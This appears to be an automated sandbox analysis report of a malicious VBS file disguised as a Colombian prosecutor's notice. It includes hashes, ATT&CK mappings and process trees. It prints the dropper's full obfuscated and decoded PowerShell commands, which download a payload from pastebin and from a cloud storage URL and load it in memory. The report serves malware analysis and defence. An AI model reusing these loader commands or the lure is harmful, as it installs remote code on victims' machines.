27b7242c6898f3122d53add479d1568240a6d8e26aa4b312820e6dd0a2581ee0

General

Target

LEER NOTIFICACION N-00474706 FISCALIA GENERAL DE LA NACION.vbs
Size

28.3MB
MD5

5f0d3141a31581c672a26ed55daf951e
SHA1

7aa56e653b5305c077a9c71e357c550dc79dd4f4
SHA256

d9ea362e4c21df8703a0904c36caf3d92969bda9566ae4d6885471e385aa8514
SHA512

a548f1224bd27ef4f89f0e35dc2053aa63351efce6e5547d1294a62b4e5b7716ee510785f606ed6cc6bbd92c71594644cfe22270fda0c0b6444b9ddd82186949
SSDEEP

768:P++++++++++++++++++e++++++++++++++++++J++++++++++++++++++e+++++Z:UZkcpv+bcoI

Score

10^/10

defense_evasion discovery execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://pastebin.com/raw/J6uRjZrv

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2760 powershell.exe
2564 powershell.exe
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

PING.EXE

pid process

2532 PING.EXE
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2532 PING.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2760 powershell.exe
2564 powershell.exe
2660 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2760 powershell.exe
Token: SeDebugPrivilege 2564 powershell.exe
Token: SeDebugPrivilege 2660 powershell.exe

pid	process
2760	powershell.exe
2564	powershell.exe

pid	process
2532	PING.EXE

pid	process
2532	PING.EXE

pid	process
2760	powershell.exe
2564	powershell.exe
2660	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2760	powershell.exe
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	2660	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2648 wrote to memory of 2760	2648	WScript.exe	powershell.exe
PID 2648 wrote to memory of 2760	2648	WScript.exe	powershell.exe
PID 2648 wrote to memory of 2760	2648	WScript.exe	powershell.exe
PID 2760 wrote to memory of 2564	2760	powershell.exe	powershell.exe
PID 2760 wrote to memory of 2564	2760	powershell.exe	powershell.exe
PID 2760 wrote to memory of 2564	2760	powershell.exe	powershell.exe
PID 2564 wrote to memory of 2536	2564	powershell.exe	cmd.exe
PID 2564 wrote to memory of 2536	2564	powershell.exe	cmd.exe
PID 2564 wrote to memory of 2536	2564	powershell.exe	cmd.exe
PID 2564 wrote to memory of 2532	2564	powershell.exe	PING.EXE
PID 2564 wrote to memory of 2532	2564	powershell.exe	PING.EXE
PID 2564 wrote to memory of 2532	2564	powershell.exe	PING.EXE
PID 2564 wrote to memory of 2660	2564	powershell.exe	powershell.exe
PID 2564 wrote to memory of 2660	2564	powershell.exe	powershell.exe
PID 2564 wrote to memory of 2660	2564	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\LEER NOTIFICACION N-00474706 FISCALIA GENERAL DE LA NACION.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2648

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT☹Hk☹cwB0☹GU☹bQ☹u☹E4☹ZQB0☹C4☹UwBl☹HI☹dgBp☹GM☹ZQBQ☹G8☹aQBu☹HQ☹TQBh☹G4☹YQBn☹GU☹cgBd☹Do☹OgBT☹GU☹YwB1☹HI☹aQB0☹Hk☹U☹By☹G8☹d☹Bv☹GM☹bwBs☹C☹☹PQ☹g☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBO☹GU☹d☹☹u☹FM☹ZQBj☹HU☹cgBp☹HQ☹eQBQ☹HI☹bwB0☹G8☹YwBv☹Gw☹V☹B5☹H☹☹ZQBd☹Do☹OgBU☹Gw☹cw☹x☹DI☹Ow☹k☹EM☹QwBS☹Gg☹bQ☹g☹D0☹I☹☹n☹Gg☹d☹B0☹H☹☹cw☹6☹C8☹LwBw☹GE☹cwB0☹GU☹YgBp☹G4☹LgBj☹G8☹bQ☹v☹HI☹YQB3☹C8☹Sg☹2☹HU☹UgBq☹Fo☹cgB2☹Cc☹I☹☹7☹CQ☹Zg☹g☹D0☹I☹☹o☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBJ☹E8☹LgBQ☹GE☹d☹Bo☹F0☹Og☹6☹Ec☹ZQB0☹FQ☹ZQBt☹H☹☹U☹Bh☹HQ☹a☹☹o☹Ck☹I☹☹r☹C☹☹JwBk☹Gw☹b☹☹w☹DE☹LgB0☹Hg☹d☹☹n☹Ck☹I☹☹7☹Ek☹bgB2☹G8☹awBl☹C0☹VwBl☹GI☹UgBl☹HE☹dQBl☹HM☹d☹☹g☹C0☹VQBS☹Ek☹I☹☹k☹EM☹QwBS☹Gg☹bQ☹g☹C0☹TwB1☹HQ☹RgBp☹Gw☹ZQ☹g☹CQ☹Zg☹g☹C0☹VQBz☹GU☹QgBh☹HM☹aQBj☹F☹☹YQBy☹HM☹aQBu☹Gc☹I☹☹7☹GM☹bQBk☹C4☹ZQB4☹GU☹I☹☹v☹GM☹I☹☹7☹H☹☹aQBu☹Gc☹I☹☹x☹DI☹Nw☹u☹D☹☹Lg☹w☹C4☹MQ☹g☹Ds☹c☹Bv☹Hc☹ZQBy☹HM☹a☹Bl☹Gw☹b☹☹u☹GU☹e☹Bl☹C☹☹LQBj☹G8☹bQBt☹GE☹bgBk☹C☹☹ew☹k☹GY☹I☹☹9☹C☹☹K☹Bb☹FM☹eQBz☹HQ☹ZQBt☹C4☹SQBP☹C4☹U☹Bh☹HQ☹a☹Bd☹Do☹OgBH☹GU☹d☹BU☹GU☹bQBw☹F☹☹YQB0☹Gg☹K☹☹p☹C☹☹Kw☹g☹Cc☹Z☹Bs☹Gw☹M☹☹x☹C4☹d☹B4☹HQ☹Jw☹p☹C☹☹Ow☹k☹FE☹U☹B0☹GE☹dg☹g☹D0☹I☹☹o☹C☹☹RwBl☹HQ☹LQBD☹G8☹bgB0☹GU☹bgB0☹C☹☹LQBQ☹GE☹d☹Bo☹C☹☹J☹Bm☹C☹☹KQ☹g☹Ds☹SQBu☹HY☹bwBr☹GU☹LQBX☹GU☹YgBS☹GU☹cQB1☹GU☹cwB0☹C☹☹LQBV☹FI☹SQ☹g☹CQ☹UQBQ☹HQ☹YQB2☹C☹☹LQBP☹HU☹d☹BG☹Gk☹b☹Bl☹C☹☹J☹Bm☹C☹☹LQBV☹HM☹ZQBC☹GE☹cwBp☹GM☹U☹Bh☹HI☹cwBp☹G4☹ZwB9☹C☹☹Ow☹k☹FE☹U☹B0☹GE☹dg☹g☹D0☹I☹☹o☹C☹☹RwBl☹HQ☹LQBD☹G8☹bgB0☹GU☹bgB0☹C☹☹LQBQ☹GE☹d☹Bo☹C☹☹J☹Bm☹C☹☹KQ☹g☹Ds☹J☹Bu☹Gs☹a☹Bh☹HY☹I☹☹9☹C☹☹Jw☹w☹Cc☹I☹☹7☹CQ☹bwBw☹GE☹ZwBz☹C☹☹PQ☹g☹Cc☹JQBK☹Gs☹UQBh☹HM☹R☹Bm☹Gc☹cgBU☹Gc☹JQ☹n☹C☹☹OwBb☹EI☹eQB0☹GU☹WwBd☹F0☹I☹☹k☹HM☹cQB1☹Gk☹c☹☹g☹D0☹I☹Bb☹HM☹eQBz☹HQ☹ZQBt☹C4☹QwBv☹G4☹dgBl☹HI☹d☹Bd☹Do☹OgBG☹HI☹bwBt☹EI☹YQBz☹GU☹Ng☹0☹FM☹d☹By☹Gk☹bgBn☹Cg☹I☹☹k☹FE☹U☹B0☹GE☹dg☹u☹HI☹ZQBw☹Gw☹YQBj☹GU☹K☹☹n☹CQ☹J☹☹n☹Cw☹JwBB☹Cc☹KQ☹g☹Ck☹I☹☹7☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBB☹H☹☹c☹BE☹G8☹bQBh☹Gk☹bgBd☹Do☹OgBD☹HU☹cgBy☹GU☹bgB0☹EQ☹bwBt☹GE☹aQBu☹C4☹T☹Bv☹GE☹Z☹☹o☹CQ☹cwBx☹HU☹aQBw☹Ck☹LgBH☹GU☹d☹BU☹Hk☹c☹Bl☹Cg☹JwBU☹GU☹a☹B1☹Gw☹YwBo☹GU☹cwBY☹Hg☹W☹B4☹Hg☹LgBD☹Gw☹YQBz☹HM☹MQ☹n☹Ck☹LgBH☹GU☹d☹BN☹GU☹d☹Bo☹G8☹Z☹☹o☹Cc☹TQBz☹HE☹QgBJ☹GI☹WQ☹n☹Ck☹LgBJ☹G4☹dgBv☹Gs☹ZQ☹o☹CQ☹bgB1☹Gw☹b☹☹s☹C☹☹WwBv☹GI☹agBl☹GM☹d☹Bb☹F0☹XQ☹g☹Cg☹JwBu☹Gk☹bQBk☹GE☹PQBl☹GQ☹bwBt☹CY☹MQBm☹GU☹MwBk☹DY☹M☹☹2☹GM☹M☹☹w☹D☹☹MQ☹2☹D☹☹O☹☹x☹Dk☹Ng☹2☹D0☹d☹Bj☹GU☹agBv☹HI☹c☹☹m☹DE☹ZgBl☹DM☹Z☹☹2☹D☹☹NgBj☹D☹☹M☹☹w☹DE☹Ng☹w☹Dg☹MQ☹5☹DY☹Ng☹9☹HQ☹YwBl☹Go☹bwBy☹H☹☹PwB3☹GU☹aQB2☹C8☹OQ☹4☹GY☹Mw☹5☹GE☹ZQ☹2☹DE☹M☹☹w☹D☹☹OQBl☹D☹☹M☹Bh☹GQ☹Ng☹2☹C8☹cwBl☹Gw☹aQBm☹C8☹Yg☹z☹DI☹NwBk☹DY☹Yg☹w☹DQ☹MQ☹w☹D☹☹MQ☹5☹DE☹O☹☹x☹Dk☹Ng☹2☹C8☹cwB0☹GU☹awBj☹HU☹Yg☹v☹GU☹ZwBh☹HI☹bwB0☹HM☹Lw☹x☹HY☹LwBv☹Gk☹LgBl☹HQ☹aQBy☹Hc☹c☹Bw☹GE☹LgBk☹HU☹bwBs☹GM☹Lw☹v☹Do☹cwBw☹HQ☹d☹Bo☹Cc☹I☹☹s☹C☹☹J☹Bv☹H☹☹YQBn☹HM☹I☹☹s☹C☹☹Jw☹z☹DI☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹C0☹LQ☹t☹C0☹LQ☹t☹C0☹Jw☹s☹C☹☹J☹Bu☹Gs☹a☹Bh☹HY☹L☹☹g☹Cc☹MQ☹n☹Cw☹I☹☹n☹FI☹bwBk☹GE☹Jw☹g☹Ck☹KQ☹7☹☹==';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('☹','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\LEER NOTIFICACION N-00474706 FISCALIA GENERAL DE LA NACION.vbs');powershell $Yolopolhggobek;
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2760

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/J6uRjZrv' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$nkhav = '0' ;$opags = 'C:\Users\Admin\AppData\Local\Temp\LEER NOTIFICACION N-00474706 FISCALIA GENERAL DE LA NACION.vbs' ;[Byte[]] $squip = [system.Convert]::FromBase64String( $QPtav.replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($squip).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('nimda=edom&1fe3d606c00016081966=tcejorp&1fe3d606c00016081966=tcejorp?weiv/98f39ae610009e00ad66/selif/b327d6b0410019181966/stekcub/egarots/1v/oi.etirwppa.duolc//:sptth' , $opags , '32___________________________________-------', $nkhav, '1', 'Roda' ));"
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2564

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c
4⤵
PID:2536

C:\Windows\system32\PING.EXE
"C:\Windows\system32\PING.EXE" 127.0.0.1
4⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2532

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8fd971ef3776a8dee875d50b365cf258

SHA1
021fcfbe1d27996b2ffefd64d20f06d4780c8cbe

SHA256
32ba5601f6ac794bd1e74dca1f8391575767c7be3fc65b125f533778a341f737

SHA512
dcced67b4940d4743f11973e7e56a0e2d7b05a85d20d2b5dccef0c670112e8b12f7a0d13c67d45807b96539be586e91f0abce94452a77666c34b0d7011ed69b9

Download Submit
memory/2760-4-0x000007FEF468E000-0x000007FEF468F000-memory.dmp

Filesize
4KB

Download
memory/2760-5-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2760-7-0x000007FEF43D0000-0x000007FEF4D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-6-0x0000000001D30000-0x0000000001D38000-memory.dmp

Filesize
32KB

Download
memory/2760-9-0x000007FEF43D0000-0x000007FEF4D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-8-0x000007FEF43D0000-0x000007FEF4D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-10-0x000007FEF43D0000-0x000007FEF4D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-11-0x000007FEF43D0000-0x000007FEF4D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-22-0x000007FEF43D0000-0x000007FEF4D6D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing